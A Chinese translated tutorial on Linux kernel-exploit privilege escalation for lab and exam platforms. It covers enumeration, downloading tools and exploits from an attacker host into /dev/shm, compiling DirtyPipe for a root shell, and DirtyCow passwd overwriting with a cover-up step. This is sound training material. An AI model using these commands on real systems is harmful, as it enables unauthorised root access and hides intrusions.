Linux 提權-核心利用

扛枪的书生發表於2024-06-04

本文透過 Google 翻譯 Kernel Exploits – Linux Privilege Escalation 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。


導航

  • 0 前言
  • 1 核心簡介
  • 2 尋找核心漏洞
    • 2.1 發現核心版本
    • 2.2 手動查詢核心漏洞
      • 2.2.1 透過 Google 查詢核心漏洞
      • 2.2.2 透過 Searchsploit 查詢核心漏洞
    • 2.3 自動查詢核心漏洞
      • 2.3.1 Linux_Exploit_Suggester
      • 2.3.2 LinPEAS
  • 3 編譯/執行核心漏洞
    • 3.1 檢查受害機編譯環境
    • 3.2 在受害者機編譯並執行 DirtyPipe
    • 3.3 在其它機器編譯核心漏洞
  • 4 多種核心漏洞利用示例
    • 4.1 Half-Nelson/Full-Nelson 示例
    • 4.2 Memodipper 示例
    • 4.3 DirtyCow/DirtyCow2 示例
    • 4.4 eBPF Verifier示例
  • 5 最後的想法

0、前言

在這篇文章中,我們將探索可用於從標準使用者到 root 的 Linux 許可權提升的各種核心漏洞。

我們將首先使用各種命令來查詢受害主機上的核心版本。然後,我們將看到多種方法來查詢針對我們目標核心版本的核心漏洞。最後,我們將看到六種不同核心漏洞的演示,這些漏洞涵蓋了從 2010 年到現在的幾乎所有核心版本。

1、核心簡介

當談到核心時,瞭解它的用途非常重要,這樣我們才能理解它為何容易受到攻擊。

核心本質上是一種促進硬體和軟體之間互動的“計算機程式”。這意味著核心位於應用程式(軟體)和 CPU/記憶體/裝置/等(硬體)之間。核心的工作是將來自軟體的輸入/輸出(I/O)請求轉換為在軟體和硬體之間互動的指令集。

核心是繼引導載入程式之後載入的第一個程式。載入後,它控制和協調其他所有程式和程序,並確保正確分配記憶體。

如果您有興趣瞭解 Windows 核心漏洞,請檢視我關於該主題的兩篇文章herehere

2、尋找核心漏洞

對於第一個示例,我們假設已經作為標準使用者在 Linux 機器上獲得了立足點。

獲得立足點後我們需要做的第一件事就是將 shell 升級到完整的 TTY【如果目標環境支援python的話】,我們可以使用以下命令來完成這項工作:

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm

現在我們有了完整的 TTY,我們可以使用箭頭瀏覽命令歷史記錄、使用製表符補全、清除終端等。

2.1、發現核心版本

在尋找核心漏洞時,我們需要列舉的第一件事是目標主機上的核心版本。這可以透過幾種不同的方式來完成,首先是使用帶有 -r 開關的 uname 命令,它只會告訴我們核心版本本身。

uname -r

但是,我們想從目標收集更多資訊,因此我們可以再次使用 uname 命令,但這次使用 -a 開關,它將為我們提供 Linux 風格、核心版本和架構。

uname -a

同樣的,我們還可以從位於/proc/version的檔案中獲取此資訊。

cat /proc/version

輸出顯示該核心相當新,因為它執行的是 5.13 版本。我們可以透過在 Wikipedia 頁面上查詢核心版本來確認核心的釋出日期。

這告訴我們該核心於 2021 年 6 月 27 日釋出,因此我們需要找到該核心版本被髮布後披露的漏洞。

2.2、手動查詢核心漏洞

現在我們已經確定核心版本為5.13,我們可以透過幾種方法來搜尋合適的漏洞利用。

2.2.1、透過 Google 查詢核心漏洞

搜尋核心漏洞的第一種方法是獲取我們列舉的核心版本資訊,然後在 Google 上搜尋該核心版本容易受到攻擊的任何漏洞。

作為一名駭客,Google 技能非常重要,只要有機會就磨練它們!

我們從廣泛搜尋開始:Linux kernel 5.13 exploit

第一個結果通常來自 CVE-Details、Vulnmon 等,這有助於概述我們可以使用的潛在漏洞;然而,向下滾動我們開始看到一些我們更感興趣的頁面。

這兩個漏洞利用看起來很有希望,因為它們都提到了核心版本 5.13。此外,它們也都提到了 Ubuntu,我們知道這是我們的目標正在執行的 Linux 版本。

我們可以閱讀 Dirty Pipe 上的這些部落格文章,以便更好地瞭解該漏洞是什麼;但是,我們可以看到,最熱門的漏洞託管在 GitHub 上,我們很可能在那裡找到託管的任何核心版本的大多數核心漏洞,因此讓我們稍微編輯一下搜尋以包括 github,如: Linux kernel 5.13 exploit github

在這裡我們可以看到,當將github關鍵字新增到搜尋條件中時,這兩個漏洞都是最熱門的結果,並且是第三個要測試的潛在漏洞!現在讓我們看看它們的作用。

在閱讀了這三個exploit之後,第三個漏洞 "Dirty Pipe "無疑是最有希望的,因為它影響的核心範圍比其他漏洞更大。

現在我們可以透過幾種方法來做到這一點。由於我們喜歡 Dirty Pipe 的方式,因此我們可以嘗試我們找到的那個,或者,我們可以進行新的 Google 搜尋以找到更多要測試的exploit。例如:Dirty Pipe github

我們馬上可以看到前 4 個結果都是我們可以測試的 Dirty Pipe 的不同“版本”(相同的漏洞但是是來自不同的作者或使用不同的技術而實現的利用程式碼)。

檢視最上面的結果,有兩種方法可以利用這個漏洞,其中第 2 種看起來最簡單,因為它只需要一個 SUID 二進位制檔案就可以利用,而我們知道 Linux 上有很多這樣的二進位制檔案。

現在我們只需要複製exploit2的原始指令碼並將其貼上到攻擊者機器上的文字編輯器中。可以在此處找到要複製的原始指令碼。

現在我們在攻擊者的機器上已經擁有了該exploit,然後我們需要對其進行編譯;然而,在我們進行這一步之前,讓我們用另一種方法來手動查詢該核心版本的exploit。

2.2.2、使用 Searchsploit 查詢核心漏洞

Kali 中預裝了一個很棒的工具,即searchsploit,它是一個用於從exploit-db資料庫中搜尋漏洞的工具。由於exploit-db(Offesnive Security)的建立者也維護著Kali,因此將其打包在一起是合情合理的。

對我們來說,這意味著exploit-db上的每個漏洞利用都已經在我們的攻擊者機器上,我們只需要使用searchsploit來找到它們,然後我們就可以將它們複製到我們的工作目錄中。

將使用 searchsploit 找到的漏洞複製或映象到我們的工作目錄中,而不是操縱原始檔案本身,這一點很重要。保持原始檔案乾淨,並製作副本以供擺弄。

與我們使用 Google 搜尋漏洞時不同,searchsploit 中的大多數核心漏洞都有版本範圍。這意味著我們無法專門搜尋核心 5.13,因為過於具體可能無法為我們提供匹配項。相反,我們可以僅使用 5. 作為搜尋,以便提供所有 5.x 結果。

首先,我們要從廣泛的範圍開始,然後在開始獲得結果時縮小搜尋範圍。

searchsploit linux kernel 5.

向下滾動,我們可以看到一些5.x核心版本的漏洞利用;但是,我們的目標核心版本是5.13,它屬於 DirtyPipe 的範圍(介於5.8 到 5.16.11 之間)。這個漏洞非常適合我們的需求!

現在有兩種方法可以將此漏洞複製到我們的工作目錄中。首先,我們可以使用searchsploit映象它,如下所示:

searchsploit -m 50808.c

或者,我們可以在系統上找到該檔案,然後將其複製到我們的工作目錄中。

locate linux/local/50808.c

現在我們可以使用cp命令將其複製到我們的工作目錄,並在執行時將其命名為我們喜歡的任何名稱。

好的,現在我們在攻擊者機器上已經有了這個漏洞的兩個副本可供編譯;但是,讓我們看看如何使用工具來快速列舉核心漏洞。

2.3、自動查詢核心漏洞

在本節中,我們將重點介紹使用兩種不同的工具來幫助我們快速找到可用於攻擊目標的潛在核心漏洞。我們將使用的工具是LinPEASLinux-Exploit-Suggester。請按照提供的連結下載這兩個檔案。

將這兩個工具下載到攻擊者計算機上後,我們需要將檔案傳輸給受害者。為此,我們可以快速設定一個 Python HTTP 伺服器,如下所示:

python3 -m http.server 80

現在我們可以使用 wget 或 curl 將檔案下載到受害者上。

最好有“下載”命令的選項,因為您可能會發現系統上未安裝其中一個。實際上,經常會發現預設情況下沒有安裝curl,但wget通常是安裝的。

首先,我們需要導航到受害者上的一個可寫資料夾,以將我們的工具下載到其中。大多數人喜歡使用/tmp來實現此目的,但讓我們更隱蔽一點,使用另一個允許我們讀寫的內建目錄:/dev/shm

cd /dev/shm
wget http://172.16.1.30/linpeas.sh
curl http://172.16.1.30/linux-exploit-suggester.sh -o linux-exploit-suggester.sh

現在這兩個工具都在受害者機器上,我們需要授予它們執行許可權。可以透過以下兩種方式之一新增執行位來完成。

chmod 755 linpeas.sh
chmod +x linux-exploit-suggester.sh

我將嘗試簡要地解釋 755。上面有三組 RWX,分別代表使用者 | 組 | 其它。二進位制中的 RWX 分別為 421(r = 4、w = 2、x = 1)。數字組合可以從 1 到 7,以開啟讀取、寫入和執行。例如,5 = r-x;7 = rwx;2 = -w-等。

現在這兩個程式都授予了執行許可權,讓我們看看它們可以為我們提供哪些有關核心漏洞利用的資訊,從 Linux Exploit Suggester 開始。

2.3.1、Linux Exploit Suggester

Linux Exploit Suggester 是一款專門用於查詢核心漏洞的工具,因此從這個工具開始是有意義的。

我們可以簡單地在受害者上執行指令碼並看看它告訴我們什麼。

./linux-exploit-suggester.sh

在這裡我們可以看到相當多的漏洞是“probable”,這是一個很好的跡象,表明其中一個應該有效。這些漏洞利用從新到舊按字母數字順序輸出,因此我們可以開始自上而下或自下而上地測試這些漏洞。由於最新的在頂部,所以讓我們自上而下。 我們有 DirtyPipe 就在上面,所以這將是我們第一個要嘗試的!

Exploit Suggester 為我們提供了一個下載漏洞的 URL,但我們自己已經從 Google 和 searchsploit 獲得了幾個副本,因此我們將繼續並瞭解如何使用 LinPEAS 為我們查詢此資訊,而不是下載另一個副本。

2.3.2、LinPEAS

我們可以用來尋找核心漏洞的另一個很棒的工具是 LinPEAS。

LinPEAS 是一款終極列舉工具,可提供大量資訊。資訊量如此之大,以至於讓人應接不暇。因此,最好先手動列舉,然後在使用 PEAS 之前使用 Linux-Exploit-Suggester。這樣,我們就可以在需要解析 LinPEAS 輸出之前快速取勝。

一般來說,在執行 LinPEAS 時,我們會在不帶引數的情況下執行它,以進行 "所有檢查",然後從上到下逐行檢查所有輸出。

執行完整掃描時的一個好技巧是將 PEAS 的輸出重定向到一個檔案,以便使用 grep快速解析常見漏洞。

對我們來說幸運的是,核心漏洞顯示在系統資訊部分的輸出頂部附近。

./linpeas.sh

首先,我們會發現 CVE 的檢查位於潛在漏洞之前,這強烈表明該機器容易受到兩個核心漏洞的攻擊。其中一個當然是 CVE-2022-0847 或 DirtyPipe。

接下來,如果我們進一步向下滾動,我們將看到 Linux-Exploit-Suggester 實際上已合併到 LinPEAS 中,因此我們看到的輸出與之前的輸出大致相同。

這裡我們看到 dirtypipe 再次名列前茅。然而,真正令人欣慰的是 CVE 的檢查。這讓我們在選擇核心漏洞時更加有信心,因此,我們可以自信地說 dirtypipe 應該可以對抗這個目標機器。

3、編譯/執行核心漏洞

通常,在攻擊 Linux 受害者時(尤其是使用核心漏洞時),我們會發現有四種編譯漏洞的方法。如果受害者機器安裝了 gcc,我們可以直接在受害者機器上編譯漏洞(最佳情況);或者我們可以在攻擊者機器上編譯漏洞(不太好);亦或是我們可以下載我們瞄準的核心的 VM,然後在那裡編譯漏洞(也不太好);最後,我們也可以在 GitHub 上找到預編譯的漏洞。

在尋找預編譯漏洞時,您可能不會在網上找到很多好的資源。可以使用的一個連結是此處的連結here但該儲存庫已經 5 年沒有更新了,因此缺少許多新的好漏洞。

專業提示: 在 htb、thm 等平臺上攻擊機器時,最好利用這些機器開始構建您自己的預編譯漏洞利用庫。只需在目標計算機上編譯它們,然後將它們傳送回攻擊者即可。

3.1、檢查受害機編譯環境

理想情況下,最好的情況是發現受害者安裝了 gcc,這樣我們就可以直接在受害者上編譯漏洞。這很重要,因為核心漏洞需要在被利用的核心上編譯,或者在非常接近的核心上編譯。

有幾種方法可以檢查受害者是否安裝了gcc 。

首先,我們可以嘗試執行 gcc 並看看它說了什麼。它要麼會說需要安裝,要麼會告訴您如何正確使用該命令。不管怎樣,這都會告訴我們gcc是否在系統上。至少,它告訴我們gcc是否在我們的 PATH 中。

gcc

這個錯誤告訴我們gcc已經安裝了,這就完美了!現在我們知道我們將能夠將漏洞利用的C檔案傳輸到受害者上,然後在那裡進行編譯。

如果 gcc 不在你的 PATH 中,而它又說你需要安裝它,那麼不要馬上放棄。你永遠不知道 gcc 是否恰好在系統的其他地方,而不在你的 PATH 中。雖然機會渺茫,但還是應該檢查一下。

要查詢系統上gcc的所有例項,我們可以使用find命令。

find / -iname "gcc" 2>/dev/null

我們可以看到這裡找到了很多gcc的例項;然而,其中很多都是目錄。/usr/bin/gcc位置在我們的 PATH 中置,這就是為什麼我們可以透過呼叫命令gcc來執行它,而不需要二進位制檔案的完整路徑。

再此,如果我們發現 gcc 確實沒有安裝,那我們就應該進行這個搜尋,然後檢查這些以確認它確實不在系統上,然後再放棄。

3.2、在受害機編譯並執行 DirtyPipe

現在我們已經發現受害者上安裝了gcc ,我們可以繼續透過 HTTP 伺服器再次傳送我們的漏洞利用程式。

在這個例子中,我們將使用透過searchsploit發現的漏洞,並將其重新命名為dirty_pipe.c

然後再次使用curl,我們可以將檔案下載到受害者的 /dev/shm 目錄中。

curl 172.16.1.30/dirty_pipe.c -o dirty_pipe.c

現在受害者身上有了漏洞利用程式,我們就不需要更改該檔案的許可權了,因為它還不是可執行檔案,但我們仍然需要編譯它。

在我們執行 gcc 及其基本語法之前,我們應該先檢查漏洞的註釋,看看是否有關於如何編譯或執行此漏洞的具體說明。為此,我們可以使用 head 命令檢查前 50 行左右,看看它說了什麼。

head -50 dirty_pipe.c

這裡我們可以看到如何使用漏洞的示例;但是,沒有關於如何編譯的資訊。這個示例還不錯,但不是很好。

由於沒有編譯此漏洞的特殊說明,我們可以假設它可以使用基本的gcc語法進行編譯。

gcc dirty_pipe.c -o dirty_pipe

編譯漏洞時,我們沒有收到任何錯誤,這表明漏洞已成功編譯。

在我們繼續嘗試按照示例進行操作之前,試著執行二進位制檔案,看看它是怎麼說的,可能會更容易一些。

./dirty_pipe

這裡的輸出告訴我們,我們需要做的就是提供 SUID 二進位制檔案的路徑。此外,如果我們進一步向下滾動,我們可以看到有關此漏洞利用的更多資訊。

這告訴我們,漏洞會將“sh”複製到 /tmp/sh 中,然後賦予其 SUID 許可權 (4755)。讓我們使用 su 之類的任意 SUID 二進位制檔案來測試它。

./dirty_pipe /usr/bin/su

BOOM!該漏洞利用有效,我們可以看到它在 /tmp 資料夾中建立了一個 SUID 'sh' 二進位制檔案,該漏洞利用程式“放入”其中,以向我們提供 root shell!

3.3、在其他機器編譯核心漏洞

如前所述,還有一些其他方法可以編譯核心漏洞,當受害計算機未安裝gcc時瞭解這些方法很有用。

在這種情況下,我們需要在另一臺機器上編譯漏洞利用程式,然後將其傳輸給受害者。一般來說,這可以透過兩種方式完成,要麼從我們的攻擊者機器上,要麼透過建立一個與受害者具有相同或非常接近相同核心的新虛擬機器。

對於這些情況,我們將按照直接在受害者上編譯漏洞時所做的操作進行操作。這將包括檢查編譯和執行指令的註釋,然後編譯漏洞利用程式。接下來,我們會將漏洞轉移到受害者身上,然後授予其執行許可權,然後彈出它並獲取 root shell。

4、多種核心漏洞利用示例

正如本文開頭提到的,我們將回顧 6 個核心漏洞。我們已經探索了DirtyPipe,所以現在讓我們看一下更多的內容,包括 half-nelson / full-nelson、memodipper、DirtyCow / DirtyCow2 和 eBPF verifier。

我選擇這些特定漏洞的原因,是因為它們涵蓋了 2010 年至今的幾乎所有核心。

對於下面的所有示例,我們假設受害者安裝了gcc

4.1、Half-Nelson/Full-Nelson 示例

CVE:2010-4073 – Half-Nelson

  • Kernels:2.6.0、2.6.1、2.6.2、2.6.3、2.6.4、2.6.5、2.6.6、2.6.7、2.6.8、2.6.9、2.6.10、2.6.11、 2.6.12、2.6.13、2.6.14、2.6.15、2.6.16、2.6.17、2.6.18、2.6.19、2.6.20、2.6.21、2.6.22、2.6.23、2.6。 24、2.6.25、2.6.26、2.6.27、2.6.28、2.6.29、2.6.30、2.6.31、2.6.32、2.6.33、2.6.34、2.6.35、2.6.36

CVE:2010-4258 – Full-Nelson

  • Kernels:2.6.31、2.6.32、2.6.35、2.6.37

使用searchsploit查詢漏洞,如下所示:

searchsploit nelson

獲取兩者的副本,或者您想要使用的任何一個,然後再次使用head命令檢查註釋。

看起來很簡單,現在我們可以將其傳輸到我們的受害者機器,編譯它,然後獲取我們的 root shell。

4.2、Memodipper 示例

CVE:2012-0056 – Memodipper

  • Kernels:2.6.39、3.0.0、3.0.1、3.0.2、3.0.3、3.0.4、3.0.5、3.0.6、3.1.0

使用searchsploit查詢漏洞,如下所示:

searchsploit dipper

為此,我會選擇第二個,因為它似乎是原始漏洞利用的更新版本。您會經常在 searchsploit 中看到這一點,即釋出了漏洞利用的更新版本,您可以選擇使用較新的版本或原始版本。

獲取較新版本的副本,然後再次使用head命令檢查註釋。

上面我們可以看到沒有有關編譯的說明,因此我們可以假設它可以使用基本語法。

現在我們可以將其傳輸到我們的受害者機器,編譯它,然後獲取我們的 root shell。

4.3、DirtyCow/DirtyCow2 示例

CVE:2016-5195 – DirtyCow

  • Kernels:2.6.22 <= 3.9(and some 4.x)【請注意,在該範圍之間有相當多的修補版本,要查詢已修補的內容,請檢視此處的連結。】

使用searchsploit查詢漏洞,如下所示:

searchsploit dirty cow

如您所見,這裡有兩種方法。最上面的一個方法被稱為“pokemon”方法--也被稱為“DitryCow2”;另一個是競爭條件,就是標準的 DirtyCow。

我個人喜歡使用 DitryCow2,因為與原版相比,我用它取得了更多的成功。

獲取 DirtyCow2 的副本,然後再次使用head命令檢查註釋。

這裡我們可以看到一些特殊的編譯指令,這就是為什麼我們總是檢查註釋。如果我們嘗試使用gcc進行基本語法來編譯它,它將無法工作。我們還可以看到如何執行它,所以讓我們測試一下吧!

就像我們迄今為止看到的其他漏洞一樣,我們現在可以將其傳輸到受害者計算機上,編譯它,然後獲取我們的 root shell。

編譯並執行漏洞利用程式後,系統會提示我們輸入密碼;按 Enter 鍵,我們將其設定為空白。現在我們必須檢查/etc/passwd檔案以確認我們已經覆蓋了 root 使用者。

cat /etc/passwd

Amazing!它起作用了,我們用“Firefart”替換了 root 使用者。現在,正如評論所說,我們可以使用su以 firefart 或ssh身份登入。為了讓我們更輕鬆,讓我們使用命令su firefart,然後在提示輸入密碼時按 Enter。

Amazing!我們獲得了 root 許可權!現在我們可以簡單地使用建立的備份恢復 passwd 檔案,並假裝這件事從未發生過 ,同時保持登入 firefart 即 root 許可權!

4.4、eBPF Verifier示例

CVE:2017-16995 – eBPF_Verifier

  • Kernels:4.4.0-x < 4.13.x(也可能包括較舊的核心)

使用searchsploit查詢漏洞,如下所示:

searchsploit 4.13.9

獲取 45010.c (eBPF_verifier) 的副本,然後使用head命令檢查註釋。

這裡的註釋表明該漏洞利用程式只是使用基本的gcc語法進行編譯的。此外,我們還可以看到漏洞成功執行時的樣子。

現在我們可以將其傳輸到我們的受害者機器,編譯它,然後獲取我們的 root shell。

5、最後的想法

內容太多了!但是,我們只介紹了新舊核心版本中的大部分最佳核心漏洞。還有很多不錯的漏洞,但這足以讓您很好地瞭解核心漏洞的工作原理以及要尋找哪些漏洞。

核心漏洞利用有幾個注意事項:

  • 在 HackTheBox、TryHackMe、PG Practice、PWK labs 等平臺上進行駭客攻擊時,不要在看到核心漏洞利用程式時直接使用它。我建議你列舉一下它,並將其放在您的後口袋中,因為十之八九的核心利用不是預期的方法。花點時間嘗試找到預期的路線,如果最終實在找不到任何東西,那麼就尋找核心漏洞。
  • 如果一開始沒有成功,那就再試一次。如果核心漏洞在第一次彈出時不起作用,請再試幾次。恢復機器並重試。相信我,這可以為你節省幾個小時,因為你只有 24 小時的時間來破解多個機器。

相關文章